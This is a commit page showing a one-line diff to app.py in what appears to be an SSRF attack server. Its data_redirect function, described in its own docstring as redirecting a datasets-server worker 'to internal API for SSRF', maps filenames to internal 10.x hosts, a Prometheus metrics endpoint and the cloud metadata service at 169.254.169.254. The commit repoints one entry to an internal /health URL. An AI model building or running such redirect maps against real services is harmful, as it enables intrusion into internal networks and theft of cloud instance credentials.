xitro commited on
Commit
7389bde
·
verified ·
1 Parent(s): c6ceddd

point prom.txt at live /health

Browse files
Files changed (1) hide show
  1. app.py +1 -1
app.py CHANGED
@@ -42,7 +42,7 @@ def get_captures():
42
  def data_redirect(filename):
43
  """Redirect datasets-server worker to internal API for SSRF"""
44
  internal_map = {
45
- "prom.txt": "http://10.0.21.86:9100/metrics",
46
  "pub.txt": "https://www.rfc-editor.org/rfc/rfc20.txt",
47
  "int249.txt": "http://10.0.249.17/health",
48
  "imds2.txt": "http://169.254.169.254/latest/meta-data/",
 
42
  def data_redirect(filename):
43
  """Redirect datasets-server worker to internal API for SSRF"""
44
  internal_map = {
45
+ "prom.txt": "http://10.0.249.17/health",
46
  "pub.txt": "https://www.rfc-editor.org/rfc/rfc20.txt",
47
  "int249.txt": "http://10.0.249.17/health",
48
  "imds2.txt": "http://169.254.169.254/latest/meta-data/",